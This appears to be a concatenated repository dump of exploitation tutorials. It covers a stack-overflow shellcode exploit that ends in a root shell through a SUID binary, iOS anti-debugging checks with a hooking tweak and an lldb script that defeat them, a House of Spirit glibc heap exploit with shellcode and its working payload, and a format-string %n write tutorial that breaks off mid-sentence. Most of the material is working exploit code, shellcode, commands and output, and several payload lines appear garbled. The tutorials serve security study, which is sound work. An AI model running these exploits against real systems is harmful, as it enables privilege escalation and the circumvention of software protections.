as arguments the environment variable we’re interested into and the program name we’re going to exploit. So, first thing first: we need to write the exploit into the environment variable. Obviously, the exploit we had still rocks: 181 | ``` 182 | $ export SHELLCODE=`python -c 'import sys; sys.stdout.write("\x83\xec\x7f\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\x04\x05\x04\x06\xcd\x80\xb0\x01\x31\xdb\xcd\x80 183 | ``` 184 | Now that the environment variable is set, it is possible to use the getenvaddr program: 185 | ``` 186 | 187 | $ ./getenvaddr SHELLCODE ./example1 188 | SHELLCODE will be at 0xffffd522 189 | ``` 190 | Cool, we have our address. Now it is definitely easy to exploit the vulnerability, as the overwriting of the return address must be this value: 0xFFFFD522. 191 | ``` 192 | $ echo $$ 193 | 23315 194 | $ ( python -c 'import sys; sys.stdout.write("A"*14d5\xff\xff")'; cat ) | ./example1 195 | 196 | echo $$ 197 | 27609 198 | whoami 199 | user 200 | ls 201 | example1 example1.c exploit getenvaddr getenvaddr.c payload shellcode shellcode.asm shellcode.o 202 | ``` 203 | That’s it! 204 | 205 | Now let’s say that example1 has SUID rights (it gives the permissions to the user to run the executable with the owner’s rights) and that the owner is root. This scenario can be created with the following commands: 206 | ``` 207 | # chown root:root example1 208 | # chmod 4755 example1 209 | # exit 210 | $ 211 | ``` 212 | Let’s try again the same exploit of before and let’s see what happens: 213 | ``` 214 | $ echo $$ 215 | 23315 216 | $ ( python -c 'import sys; sys.stdout.write("A"*14d5\xff\xff")'; cat ) | ./example1 217 | 218 | echo $$ 219 | 27609 220 | whoami 221 | root 222 | ``` 223 | We gained a root shell. That’s why SUID rights must be treated with extreme care, as, if there are vulnerabilities in the code, these might allow the attacker to execute shellcode with root privileges. 224 | 225 | Writing this article was extremely funny, as I had to face some issues I never thought to (i.e. the magical SUB instruction at the beginning of the shell spawning shellcode and the stdin stuff after the shellcode execution). I think that in these things **fun is everything**, and most of the times **losing is fun**. -------------------------------------------------------------------------------- /Linux 系统底层知识/反调试与反反调试.md: -------------------------------------------------------------------------------- 1 | 原文 by alonemoney 2 | ## 前言 3 | 4 | 在逆向和保护的过程中,总会涉及到反调试和反反调试的问题,这篇文章主要是总结一下几种常见的反调试手段以及反反调试的方法。 5 | 6 | ## 反调试 7 | 8 | ### ptrace 9 | 10 | 为了方便应用软件的开发和调试,从Unix的早期版本开始就提供了一种对运行中的进程进行跟踪和控制的手段,那就是系统调用ptrace()。 11 | 通过ptrace可以对另一个进程实现调试跟踪,同时ptrace还提供了一个非常有用的参数那就是PT_DENY_ATTACH,这个参数用来告诉系统,阻止调试器依附。 12 | 13 | 所以最常用的反调试方案就是通过调用ptrace来实现反调试。 14 | 15 | ``` c 16 | #ifndef PT_DENY_ATTACH 17 | #define PT_DENY_ATTACH 31 18 | #endif 19 | typedef int (*ptrace_ptr_t)(int _request, pid_t _pid, caddr_t _addr, int _data); 20 | ptrace(PT_DENY_ATTACH, 0, 0, 0); 21 | void *handle = dlopen(0, RTLD_GLOBAL | RTLD_NOW); 22 | ptrace_ptr_t ptrace_ptr = (ptrace_ptr_t)dlsym(handle, "ptrace"); 23 | ptrace_ptr(PT_DENY_ATTACH, 0, 0, 0); 24 | ``` 25 | 26 | ### sysctl 27 | 28 | 当一个进程被调试的时候,该进程会有一个标记来标记自己正在被调试,所以可以通过sysctl去查看当前进程的信息,看有没有这个标记位即可检查当前调试状态。 29 | ``` c 30 | BOOL isDebuggerPresent(){ 31 | int name[4]; //指定查询信息的数组 32 | 33 | struct kinfo_proc info; //查询的返回结果 34 | size_t info_size = sizeof(info); 35 | 36 | info.kp_proc.p_flag = 0; 37 | 38 | name[0] = CTL_KERN; 39 | name[1] = KERN_PROC; 40 | name[2] = KERN_PROC_PID; 41 | name[3] = getpid(); 42 | 43 | if(sysctl(name, 4, &info, &info_size, NULL, 0) == -1){ 44 | NSLog(@"sysctl error ..."); 45 | return NO; 46 | } 47 | 48 | return ((info.kp_proc.p_flag & P_TRACED) != 0); 49 | } 50 | ``` 51 | 检测到调试器就退出,或者制造崩溃,或者隐藏工程啥的,当然也可以定时去查看有没有这个标记。 52 | 53 | ### syscall 54 | 55 | 为从实现从用户态切换到内核态,系统提供了一个系统调用函数syscall,上面讲到的ptrace也是通过系统调用去实现的。 56 | 57 | 在[Kernel Syscalls](https://www.theiphonewiki.com/wiki/Kernel_Syscalls) 这里可以找到ptrace对应的编号。 58 | 59 | `26. ptrace 801e812c T` 60 | 61 | 所以如下的调用等同于调用ptrace: 62 | 63 | `syscall(26,31,0,0,0);` 64 | 65 | ### arm 66 | 67 | syscall是通过软中断来实现从用户态到内核态,也可以通过汇编svc调用来实现。 68 | 69 | ``` asm 70 | #ifdef __arm__ 71 | asm volatile( 72 | "mov r0,#31\n" 73 | "mov r1,#0\n" 74 | "mov r2,#0\n" 75 | "mov r12,#26\n" 76 | "svc #80\n" 77 | 78 | ); 79 | #endif 80 | #ifdef __arm64__ 81 | asm volatile( 82 | "mov x0,#26\n" 83 | "mov x1,#31\n" 84 | "mov x2,#0\n" 85 | "mov x3,#0\n" 86 | "mov x16,#0\n" 87 | "svc #128\n" 88 | ); 89 | #endif 90 | ``` 91 | 下面几种可能在实际中用到的比较少,不过也可以尝试一下。 92 | 93 | ### SIGSTOP 94 | 95 | 通过捕获系统SIGSTOP信号来判断。 96 | 97 | ``` c 98 | dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_SIGNAL, SIGSTOP, 0, dispatch_get_main_queue()); 99 | dispatch_source_set_event_handler(source, ^{ 100 | NSLog(@"SIGSTOP!!!"); 101 | exit(0); 102 | }); 103 | dispatch_resume(source); 104 | ``` 105 | 106 | ### task_get_exception_ports 107 | 108 | 获取异常端口: 109 | 110 | ``` c 111 | struct macosx_exception_info{ 112 | exception_mask_t masks[EXC_TYPES_COUNT]; 113 | mach_port_t ports[EXC_TYPES_COUNT]; 114 | exception_behavior_t behaviors[EXC_TYPES_COUNT]; 115 | thread_state_flavor_t flavors[EXC_TYPES_COUNT]; 116 | mach_msg_type_number_t cout; 117 | }; 118 | struct macosx_exception_info *info = malloc(sizeof(struct macosx_exception_info)); 119 | task_get_exception_ports(mach_task_self(), 120 | EXC_MASK_ALL, 121 | info->masks, 122 | &info->cout, 123 | info->ports, 124 | info->behaviors, 125 | info->flavors); 126 | for(uint32_t i = 0; i < info->cout; i ++){ 127 | if(info->ports[i] != 0 || info->flavors[i] == THREAD_STATE_NONE){ 128 | NSLog(@"debugger detected via exception ports (null port)!\n"); 129 | } 130 | } 131 | ``` 132 | 133 | ### isatty 134 | 135 | ``` 136 | if (isatty(1)) { 137 | NSLog(@"Being Debugged isatty"); 138 | } 139 | ``` 140 | 141 | ### ioctl 142 | 143 | ``` 144 | if (!ioctl(1, TIOCGWINSZ)) { 145 | NSLog(@"Being Debugged ioctl"); 146 | } 147 | ``` 148 | 149 | ## 反反调试(Tweak) 150 | 151 | 了解了几种不同的反调试的方法,那么就可以根据几种常用的反调试方法来反反调试。 152 | 153 | 这里主要针对ptrace、sysctl、syscall来反反调试,做法就很简单了,hook函数,判断参数,返回结果。 154 | 155 | ``` c 156 | #import 157 | #import 158 | static int (*orig_ptrace) (int request, pid_t pid, caddr_t addr, int data); 159 | static int my_ptrace (int request, pid_t pid, caddr_t addr, int data){ 160 | if(request == 31){ 161 | NSLog(@"[AntiAntiDebug] - ptrace request is PT_DENY_ATTACH"); 162 | return 0; 163 | } 164 | return orig_ptrace(request,pid,addr,data); 165 | } 166 | static void* (*orig_dlsym)(void* handle, const char* symbol); 167 | static void* my_dlsym(void* handle, const char* symbol){ 168 | if(strcmp(symbol, "ptrace") == 0){ 169 | NSLog(@"[AntiAntiDebug] - dlsym get ptrace symbol"); 170 | return (void*)my_ptrace; 171 | } 172 | return orig_dlsym(handle, symbol); 173 | } 174 | static int (*orig_sysctl)(int * name, u_int namelen, void * info, size_t * infosize, void * newinfo, size_t newinfosize); 175 | static int my_sysctl(int * name, u_int namelen, void * info, size_t * infosize, void * newinfo, size_t newinfosize){ 176 | int ret = orig_sysctl(name,namelen,info,infosize,newinfo,newinfosize); 177 | if(namelen == 4 && name[0] == 1 && name[1] == 14 && name[2] == 1){ 178 | struct kinfo_proc *info_ptr = (struct kinfo_proc *)info; 179 | if(info_ptr && (info_ptr->kp_proc.p_flag & P_TRACED) != 0){ 180 | NSLog(@"[AntiAntiDebug] - sysctl query trace status."); 181 | info_ptr->kp_proc.p_flag ^= P_TRACED; 182 | if((info_ptr->kp_proc.p_flag & P_TRACED) == 0){ 183 | NSLog(@"[AntiAntiDebug] trace status reomve success!"); 184 | } 185 | } 186 | } 187 | return ret; 188 | } 189 | static void* (*orig_syscall)(int code, va_list args); 190 | static void* my_syscall(int code, va_list args){ 191 | int request; 192 | va_list newArgs; 193 | va_copy(newArgs, args); 194 | if(code == 26){ 195 | request = (long)args; 196 | if(request == 31){ 197 | NSLog(@"[AntiAntiDebug] - syscall call ptrace, and request is PT_DENY_ATTACH"); 198 | return nil; 199 | } 200 | } 201 | return (void*)orig_syscall(code, newArgs); 202 | } 203 | %ctor{ 204 | MSHookFunction((void *)MSFindSymbol(NULL,"_ptrace"),(void*)my_ptrace,(void**)&orig_ptrace); 205 | MSHookFunction((void *)dlsym,(void*)my_dlsym,(void**)&orig_dlsym); 206 | MSHookFunction((void *)sysctl,(void*)my_sysctl,(void**)&orig_sysctl); 207 | MSHookFunction((void *)syscall,(void*)my_syscall,(void**)&orig_syscall); 208 | NSLog(@"[AntiAntiDebug] Module loaded!!!"); 209 | } 210 | ``` 211 | 212 | ## 反反调试(lldb) 213 | 214 | 通过lldb下断点,然后修改参数,或者直接返回也可以达到反反调试的效果。不过这里讲的是通过python脚本把过程自动化的一种方法。 215 | 216 | 为了方便直接使用facebook的chisel来增加脚本。 217 | 218 | 新建一个文件夹,然后使用 219 | 220 | ``` python 221 | commandsDirectory = os.path.join(lldbHelperDir, '文件名') 222 | loadCommandsInDirectory(commandsDirectory) 223 | ``` 224 | 加载即可。 225 | 226 | 下面是python代码: 227 | ``` python 228 | #!/usr/bin/python 229 | # -*- coding: utf-8 -*- 230 | """ 231 | 反反调试脚本,过了反调试后记得: 232 | aadebug -d 233 | 否则会很卡,如果有定时器定时检测,建议写tweak 234 | """ 235 | import lldb 236 | import fblldbbase as fb 237 | import fblldbobjcruntimehelpers as objc 238 | def lldbcommands(): 239 | return [ 240 | AMAntiAntiDebug() 241 | ] 242 | class AMAntiAntiDebug(fb.FBCommand): 243 | def name(self): 244 | return 'aadebug' 245 | def description(self): 246 | return "anti anti debug ptrace syscall sysctl" 247 | def options(self): 248 | return [ 249 | fb.FBCommandArgument(short='-d', long='--disable', arg='disable', boolean=True, default=False, help='disable anti anti debug.') 250 | ] 251 | def run(self, arguments, options): 252 | if options.disable: 253 | target = lldb.debugger.GetSelectedTarget() 254 | target.BreakpointDelete(self.ptrace.id) 255 | target.BreakpointDelete(self.syscall.id) 256 | target.BreakpointDelete(self.sysctl.id) 257 | print "anti anti debug is disabled!!!" 258 | else: 259 | self.antiPtrace() 260 | self.antiSyscall() 261 | self.antiSysctl() 262 | print "anti anti debug finished!!!" 263 | def antiPtrace(self): 264 | ptrace = lldb.debugger.GetSelectedTarget().BreakpointCreateByName("ptrace") 265 | if is64Bit(): 266 | ptrace.SetCondition('$x0==31') 267 | else: 268 | ptrace.SetCondition('$r0==31') 269 | ptrace.SetScriptCallbackFunction('sys.modules[\'' + __name__ + '\'].ptrace_callback') 270 | self.ptrace = ptrace 271 | def antiSyscall(self): 272 | syscall = lldb.debugger.GetSelectedTarget().BreakpointCreateByName("syscall") 273 | if is64Bit(): 274 | syscall.SetCondition('$x0==26 && *(int *)$sp==31') 275 | else: 276 | syscall.SetCondition('$r0==26 && $r1==31') 277 | syscall.SetScriptCallbackFunction('sys.modules[\'' + __name__ + '\'].syscall_callback') 278 | self.syscall = syscall 279 | def antiSysctl(self): 280 | sysctl = lldb.debugger.GetSelectedTarget().BreakpointCreateByName("sysctl") 281 | if is64Bit(): 282 | sysctl.SetCondition('$x1==4 && *(int *)$x0==1 && *(int *)($x0+4)==14 && *(int *)($x0+8)==1') 283 | else: 284 | sysctl.SetCondition('$r1==4 && *(int *)$r0==1 && *(int *)($r0+4)==14 && *(int *)($r0+8)==1') 285 | sysctl.SetScriptCallbackFunction('sys.modules[\'' + __name__ + '\'].sysctl_callback') 286 | self.sysctl = sysctl 287 | def antiExit(self): 288 | self.exit = lldb.debugger.GetSelectedTarget().BreakpointCreateByName("exit") 289 | exit.SetScriptCallbackFunction('sys.modules[\'' + __name__ + '\'].exit_callback') 290 | #暂时只考虑armv7和arm64 291 | def is64Bit(): 292 | arch = objc.currentArch() 293 | if arch == "arm64": 294 | return True 295 | return False 296 | def ptrace_callback(frame, bp_loc, internal_dict): 297 | print "find ptrace" 298 | register = "x0" 299 | if not is64Bit(): 300 | register = "r0" 301 | frame.FindRegister(register).value = "0" 302 | lldb.debugger.HandleCommand('continue') 303 | def syscall_callback(frame, bp_loc, internal_dict): 304 | print "find syscall" 305 | #不知道怎么用api修改sp指向的内容QAQ 306 | lldb.debugger.GetSelectedTarget().GetProcess().SetSelectedThread(frame.GetThread()) 307 | if is64Bit(): 308 | lldb.debugger.HandleCommand('memory write "$sp" 0') 309 | else: 310 | lldb.debugger.HandleCommand('register write $r1 0') 311 | lldb.debugger.HandleCommand('continue') 312 | def sysctl_callback(frame, bp_loc, internal_dict): 313 | module = frame.GetThread().GetFrameAtIndex(1).GetModule() 314 | currentModule = lldb.debugger.GetSelectedTarget().GetModuleAtIndex(0) 315 | if module == currentModule: 316 | print "find sysctl" 317 | register = "x2" 318 | if not is64Bit(): 319 | register = "r2" 320 | frame.FindRegister(register).value = "0" 321 | lldb.debugger.HandleCommand('continue') 322 | def exit_callback(frame, bp_loc, internal_dict): 323 | print "find exit" 324 | lldb.debugger.GetSelectedTarget().GetProcess().SetSelectedThread(frame.GetThread()) 325 | lldb.debugger.HandleCommand('thread return') 326 | lldb.debugger.HandleCommand('continue') 327 | ``` 328 | 329 | ## 总结 330 | 331 | 反调试的方式有多种,可以通过: 332 | `ebugserver *:1234 -x auto /path/to/executable` 333 | 启动加,然后断点测试。 334 | 335 | ## Reference 336 | http://www.alonemonkey.com/2017/05/25/antiantidebug/ -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/THE HOUSE OF SPIRIT.md: -------------------------------------------------------------------------------- 1 | 原文 by [gbmaster](https://gbmaster.wordpress.com) 2 | 3 | Ingredients: 4 | 5 | * The attacker can control a location of memory higher than the one he’s trying to change: the exact location depends on the fake size of the chunk we’re free-ing (see third point) 6 | * A stack overflow that allows to overwrite a variable containing a chunk address returned by a malloc() call 7 | * The aforementioned chunk is freed 8 | * Another chunk is allocated 9 | * The attacker can control the content of this last chunk 10 | 11 | So, for the first time, the main goal is not to overwrite the metadata of an allocated chunk, but to control the argument passed to its subsequent free() call. In fact, the result of this operation is that an arbitrary address is linked into a fastbin. Another malloc() call would return such address as a chunk of memory: if the attacker can write into this area of memory, then he’ll be able to overwrite important values for the execution flow. 12 | 13 | The problem, now, is to decide what this pointer should be overflowed with. In order to correctly look like a fake chunk, it needs a good chunk size field (which is located 4 bytes before the pointer value). Also, as it needs to trigger the fastbin code, it’s required that the size must be less than av->max_fast (set to 64 + 8 by default) AND equal to the normalized size that the following malloc() will request (i.e. the malloc‘s argument + 8). In the end, the stored return address (or whichever thing we’d like to overwrite) needs to be located no more than 64 bytes away from this size field. 14 | 15 | Once the free() is called, the following code (glibc 2.3.5 line #[3368](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e3ccbde7b5b84affbf6ff2387a5151310235f0a3;hb=1afdd17390f6febdfe559e16dfc5c5718f8934aa#l3368)) is executed: 16 | ``` c 17 | void 18 | public_fREe(Void_t* mem) 19 | { 20 | mstate ar_ptr; 21 | mchunkptr p; /* chunk corresponding to mem */ 22 | 23 | [...] 24 | 25 | p = mem2chunk(mem); 26 | 27 | #if HAVE_MMAP 28 | if (chunk_is_mmapped(p)) /* release mmapped memory. */ 29 | { 30 | munmap_chunk(p); 31 | return; 32 | } 33 | #endif 34 | 35 | ar_ptr = arena_for_chunk(p); 36 | 37 | [...] 38 | 39 | _int_free(ar_ptr, mem); 40 | ``` 41 | In this context, mem is the overflowed value we changed, which is transformed into a pointer to the chunk. In order to correctly go on, the size field must not have the IS_MMAPPED and the NON_MAIN_ARENA bits set. If so, the _int_free function is called: 42 | ``` c 43 | void 44 | _int_free(mstate av, Void_t* mem) 45 | { 46 | mchunkptr p; /* chunk corresponding to mem */ 47 | INTERNAL_SIZE_T size; /* its size */ 48 | mfastbinptr* fb; /* associated fastbin */ 49 | 50 | [...] 51 | 52 | p = mem2chunk(mem); 53 | size = chunksize(p); 54 | 55 | [...] 56 | 57 | /* 58 | If eligible, place chunk on a fastbin so it can be found 59 | and used quickly in malloc. 60 | */ 61 | 62 | if ((unsigned long)(size) <= (unsigned long)(av->max_fast) 63 | 64 | #if TRIM_FASTBINS 65 | /* 66 | If TRIM_FASTBINS set, don't place chunks 67 | bordering top into fastbins 68 | */ 69 | && (chunk_at_offset(p, size) != av->top) 70 | #endif 71 | ) { 72 | 73 | if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) 74 | || __builtin_expect (chunksize (chunk_at_offset (p, size)) 75 | >= av->system_mem, 0)) 76 | { 77 | errstr = "free(): invalid next size (fast)"; 78 | goto errout; 79 | } 80 | 81 | [...] 82 | fb = &(av->fastbins[fastbin_index(size)]); 83 | [...] 84 | p->fd = *fb; 85 | *fb = p; 86 | } 87 | ``` 88 | In this segment of code, if the size field was set to a value smaller than 64, the fastbin code is triggered. As you can see, there’s that suspicious if that checks for the size of the chunk next to the one we’re freeing. As the fake chunk’s size must be big enough to include the stored return address (or whatever else we’re trying to overwrite), the size of the chunk next to the fake one must be over the location of the stored return address. 89 | 90 | If everything goes fine, then the fake chunk’s address will be put into a fastbin and the next malloc() request (which will be fulfilled by the fake size we set) will return it, allowing the attacker to do its job. 91 | 92 | As usual, blackngel, in his “[Malloc Des-Maleficarum](http://phrack.org/issues/66/10.html)“, provided us an example that perfectly matches the requirements: 93 | ``` c 94 | 95 | /* 96 | * blackngel's vulnerable program slightly modified by gb_master 97 | */ 98 | #include 99 | #include 100 | #include 101 | 102 | void fvuln(char *str1, int age) 103 | { 104 | char *ptr1, name[32]; 105 | int local_age; 106 | char *ptr2; 107 | 108 | local_age = age; 109 | 110 | ptr1 = (char *) malloc(256); 111 | printf("\nPTR1 = [ %p ]", ptr1); 112 | strcpy(name, str1); 113 | printf("\nPTR1 = [ %p ]\n", ptr1); 114 | 115 | free(ptr1); 116 | 117 | ptr2 = (char *) malloc(40); 118 | 119 | snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); 120 | printf("\n%s\n", ptr2); 121 | } 122 | 123 | int main(int argc, char *argv[]) 124 | { 125 | int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0}; 126 | 127 | if (argc == 3) 128 | fvuln(argv[1], atoi(argv[2])); 129 | 130 | return 0; 131 | } 132 | ``` 133 | It’s clear that the strcpy on name using a user-defined input allows to overwrite the value of ptr1. Then, at the end, snprintf allows the attacker to write into ptr2 and to complete the exploit. About the modifications I did: 134 | 135 | * I don’t know why blackngel put a static attribute to both ptr1 and name variables. Anyway, I removed it, as I was not comfortable into having these variables in the .bss area. 136 | * The pad into the main function is required for two reasons: 137 | - Allow a correct 8-bit alignment for the fake chunk ptr1 138 | - Have a valid size value for the next chunk check in the free (I actually tried with a smaller pad, but ptr1‘s value was ending with \x20 on my machine and I was unable to pass this value in the shellcode) 139 | 140 | In order to have everything working, I had to: 141 | 142 | * Disable ASLR with the usual echo command 143 | * Boot the kernel with the noexec=off parameter 144 | * Disable GCC’s stack protections 145 | 146 | About the third point, it all reduces to: 147 | 148 | `gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos` 149 | So, the first thing to do is to overwrite ptr1‘s value: I will use, for the age parameter, the same value blackngel used in the original paper (48). Now we need a good value for ptr1. 150 | ``` 151 | $ ./hos `python -c 'import sys; sys.stdout.write("A2 + "B" * 4 + "C" * 4)'` 48 152 | 153 | PTR1 = [ 0x804b008 ] 154 | PTR1 = [ 0x43434343 ] 155 | Segmentation fault 156 | ``` 157 | Right after the strcpy the stack looks like this: 158 | ``` 159 | (gdb) x/40x 0xffffcef0 160 | 0xffffcef0: 0x00000000 0xffffcf60 0x08048625 0x41414141 161 | 0xffffcf00: 0x41414141 0x41414141 0x41414141 0x41414141 162 | 0xffffcf10: 0x41414141 0x41414141 0x41414141 0x42424242 163 | 0xffffcf20: 0x43434343 0x00000000 0xffffcf68 0x080486c0 164 | 0xffffcf30: 0xffffd19e 0x00000030 0x00000000 0x00000000 165 | 0xffffcf40: 0x00000000 0x00000000 0x00000000 0x00000000 166 | 0xffffcf50: 0x00000000 0x0000000a 0x00000000 0x00000000 167 | 0xffffcf60: 0xf7e5d000 0x00000000 0x00000000 0xf7cdd943 168 | 0xffffcf70: 0x00000003 0xffffd004 0xffffd014 0xf7feb05e 169 | 0xffffcf80: 0x00000003 0xffffd004 0xffffcfa4 0x0804a014 170 | 171 | PTR1 -> 0xFFFFCF20 172 | PTR2 -> 0xFFFFCF1C (??) 173 | local_age -> 0xFFFFCF24 (sadly overwritten with a NUL character) 174 | EBP -> 0xFFFFCF28 175 | RET -> 0xFFFFCF2C 176 | name -> 0xFFFFCEFC 177 | ``` 178 | I don’t know how or why GCC decided to put ptr2 between name and ptr1, but this won’t change much the things. Ok, so, ptr1 needs to be set to local_age + 4 (0xFFFFCF28): in this way, the chunk’s address will be 0xFFFFCF20, and its size field will be right where local_age is stored. We need, anyway, to overwrite local_age with its good value (48 in this scenario), as the strcpy destroyed its assigned value by putting the string terminator character there. 179 | 180 | So, the new command line will look like this: 181 | `./hos` `python -c 'import sys; sys.stdout.write("A2 + "B" * 4 + "\x28\xCF\xFF\xFF" + "\x30")'` `48` 182 | Once ptr1 gets the value 0xFFFFCF28 and the malloc() is called again, the value 0xFFFFCF28 will be assigned to ptr2 again. As the return value is stored at 0xFFFFCF2C, this means that the bytes 4-7 of name (the variable that is going to be copied inside ptr2 through an sprintf) need to be set to the desired return value: in our case it’s the beginning of a shellcode stored inside the name variable itself (i.e. the address of name: 0xFFFFCEFC). 183 | 184 | As the space inside the name array is very small for my good-old “Pwned!” shellcode, I had to shrink it and adapt to this scenario. Sadly, I had to shorten the printed string to a simple “Pwn”. 185 | ``` asm 186 | section .text 187 | 188 | global _start 189 | 190 | _start: 191 | xor eax, eax 192 | jmp tricky_end 193 | 194 | db 0xFC, 0xCE, 0xFF, 0xFF ; the new RET value 195 | 196 | tricky_start: 197 | mov al, 4 198 | xor ebx, ebx 199 | inc ebx 200 | pop ecx 201 | xor edx, edx 202 | mov dl, 3 203 | int 0x80 204 | mov al, 1 205 | int 0x80 206 | tricky_end: 207 | call tricky_start 208 | db 'Pwn' 209 | ``` 210 | ``` 211 | $ objdump -d pwn -M intel 212 | 213 | pwn: file format elf32-i386 214 | 215 | 216 | Disassembly of section .text: 217 | 218 | 08048080 : 219 | 8048080: 31 c0 xor eax,eax 220 | 8048082: eb 14 jmp 8048098 221 | 8048084: fc cld 222 | 8048085: ce into 223 | 8048086: ff (bad) 224 | 8048087: ff b0 04 31 db 43 push DWORD PTR [eax+0x43db3104] 225 | 226 | 08048088 : 227 | 8048088: b0 04 mov al,0x4 228 | 804808a: 31 db xor ebx,ebx 229 | 804808c: 43 inc ebx 230 | 804808d: 59 pop ecx 231 | 804808e: 31 d2 xor edx,edx 232 | 8048090: b2 03 mov dl,0x3 233 | 8048092: cd 80 int 0x80 234 | 8048094: b0 01 mov al,0x1 235 | 8048096: cd 80 int 0x80 236 | 237 | 08048098 : 238 | 8048098: e8 eb ff ff ff call 8048088 239 | 804809d: 50 push eax 240 | 804809e: 77 6e ja 804810e 241 | ``` 242 | Putting all together, we get the expected result: 243 | ``` 244 | $ ./hos `python -c 'import sys; sys.stdout.write("\x31\xc0\xeb\x14\xfc\xce\xff\xff\xb0\x04\x31\xdb\x43\x59\x31\xd2\xb2\x03\xcd\x80\xb0\x01\xcd\x80\xe8\xeb\xff\xff\xff\x50\x77\x6eB" * 4 + "\x28\xCF\xFF\xFF" + "\x30")'` 48 245 | PTR1 = [ 0x804b008 ] 246 | PTR1 = [ 0xffffcf28 ] 247 | 248 | 1�������1�CY1Ҳ̀�̀�����Pwn(���(� 249 | Pwn$ 250 | ``` 251 | And that’s actually it: the House of Spirit. This post concludes my trip into the paper that introduced glibc’s heap overflows to the world. I showed how some of the tricks described in it still work nowadays and this has been a lot of fun for me and I really hope you had some when reading all this stuff. -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/Format String.md: -------------------------------------------------------------------------------- 1 | 原文 by [gbmaster](https://gbmaster.wordpress.com) 2 | 3 | C/C++ (but also other languages) make a huge use of format functions: let’s think to all the times that we use them to print messages or when we need to write data formatted into a specific way inside a string. I’m talking, of course, about printf, fprintf, sprintf, etc. 4 | 5 | The principle behind all these functions is to evaluate the format string specified (y’know… all this “%s %d %X” stuff) and, at the same time, access the additional parameters specified to correctly substitute all the specifiers with the correct data. What could possibly go wrong with a printf? Well, what if we let the user specify the format string itself? What if, instead of the correct usage 6 | `printf("%s", str);` 7 | this other one 8 | `printf(str);` 9 | is used? 10 | 11 | Well, sure, they both print the str parameter to screen, unless… Unless str itself contains specifiers… But even if it did, we didn’t provide anyway any additional parameter: so what’s it going to print to screen? In order to answer this question, we need to understand how printf internally works. 12 | 13 | Just to be different, stack is involved, as format functions retrieve these parameters from there. For example, when this printf is called 14 | 15 | `printf("%s is %d years old.\n", name, age);` 16 | the stack will look like this: 17 | ``` 18 | STACK: ^ 19 | | 20 | | value of age 21 | | value of name (as it's a pointer, it's an address) 22 | | address of the format string 23 | | 24 | ``` 25 | Inside the printf the format string is parsed and, when a “%” is met, the data is retrieved from the stack accordingly to the type of parameter specified (well, apart from “%%” which is the escape for “%”). Now it’s possible to answer the previous question: printf is going to read anyway the data from the stack, even if we didn’t provide any. 26 | 27 | This means that, with a proper format string, we can even crash the program itself. We’ll use the following piece of code: 28 | ``` c 29 | #include 30 | #include 31 | 32 | int main(int argc, char **argv) 33 | { 34 | char tmp[256]; 35 | 36 | if (argc == 2) 37 | { 38 | // Yeah, let's be secure here (sic!) 39 | strncpy(tmp, argv[1], sizeof(tmp)); 40 | printf(tmp); 41 | } 42 | else 43 | { 44 | printf("Syntax: %s \n", argv[0]); 45 | } 46 | 47 | return 0; 48 | } 49 | ``` 50 | Let’s ask the program to print A LOT of strings: 51 | ``` 52 | $ ./fs %s%s%s%s%s%s%s%s 53 | Segmentation fault 54 | ``` 55 | Why did this happen? Because printf tried to extract one address for each “%s” specified and tried to read from a memory location which doesn’t exist or whose address space is protected. In both cases, the result is a segfault. Yes, not much of a fun here, huh? But we could also read and dump the stack content with a different format string: 56 | ``` 57 | $ ./fs "%p %p %p %p" 58 | 0xff974120 0x100 0xff9735f4 0x8048322$ 59 | ``` 60 | Looking at the previous code and to the previous command line it becomes clear that, with enough specifiers, it is possible to access to the tmp value in the stack. 61 | ``` 62 | $ ./fs "AAAA%p %p %p %p %p %p %p" 63 | AAAA0xffb61119 0x100 0xffb5ff84 0x8048322 0xf74293d0 0xf741feb0 0x41414141$ 64 | ``` 65 | A-ha! The last value actually corresponds to the first four bytes of the format string itself. Mmm, %p printed an arbitrary value. This means that we can print the string representation of whichever memory location just by using the previous format stringm by replacing “AAAA” with the memory location we want to retrieve the data from and the “%p” with a “%s” (as it uses the value retrieved from the stack as a pointer). Well, there could be a lot of specifiers in the format string and having to write them each time is boring. It’s possible to shorten the previous format string into the following: 66 | ``` 67 | $ ./fs 'AAAA%7$p' 68 | AAAA0x41414141$ 69 | ``` 70 | which says more or less “hey, take into account the seven-th argument and parse it as a %p” (Direct Parameter Access). 71 | 72 | So, the only thing missing is how to write arbitrary data to an arbitrary location. But how can this be possible with a printf-like function call? Well, it turns out that format functions have this little specifier “%n” which allows to store the number of characters written so far into the integer pointed by the specified argument. This means that if we slightly modify the previous command into 73 | ``` 74 | $ ./fs 'AAAA%7$n' 75 | Segmentation fault 76 | ``` 77 | the program tried to write the integer “4” into the location “0x41414141” (it ended with a segfault because this address is not mapped). So, writing these small integers is not a big deal: how can we increase the number written without manually printing a lot of characters? Well, we could use the padding feature of the format strings. This format string 78 | ``` 79 | $ ./fs 'AAAA%150u%7$n' 80 | Segmentation fault 81 | ``` 82 | tries to write the number 150 into 0x41414141. In fact “%150u” pads an integer with spaces in order to print AT LEAST 150 characters. The problem now is finding a way to print BIG integers (like addresses) by using this technique. 83 | 84 | The first solution that comes into mind is to write a 32-bit address a byte a time, with 4 overwrites. For example, let’s say that we need to write the value 0xDDCCBBAA into the location 0x41414141: the string 85 | ``` 86 | $ ./fs 'AAAABAAACAAADAAA%154u%7$n%17u%8$n%17u%9$n%17u%10$n' 87 | Segmentation fault 88 | ``` 89 | will do the trick and here’s why. The string “AAAABAAACAAADAAA” is printed and this means that the first writing operation will write the number 0x000000AA in the location 0x41414141, as we printed already 16 characters and we’re adding 154 more: mind the little endian-ness here, as 0xAA is stored at the address 0x41414141 and zeroes as stored between the locations 0x41414142 and 0x41414144. The next writing operation, as you can see, will write the number 0x000000BB starting at the location 0x41414142, as we’re printing 17 more characters (which, added to the previous 170, result in 187 = 0xBB characters), and so on… At the end, the number 0xDDCCBBAA is stored at 0x41414141 and, due to the last writing operation (the one acting on 0x41414144), additional zeroes will be stored between locations 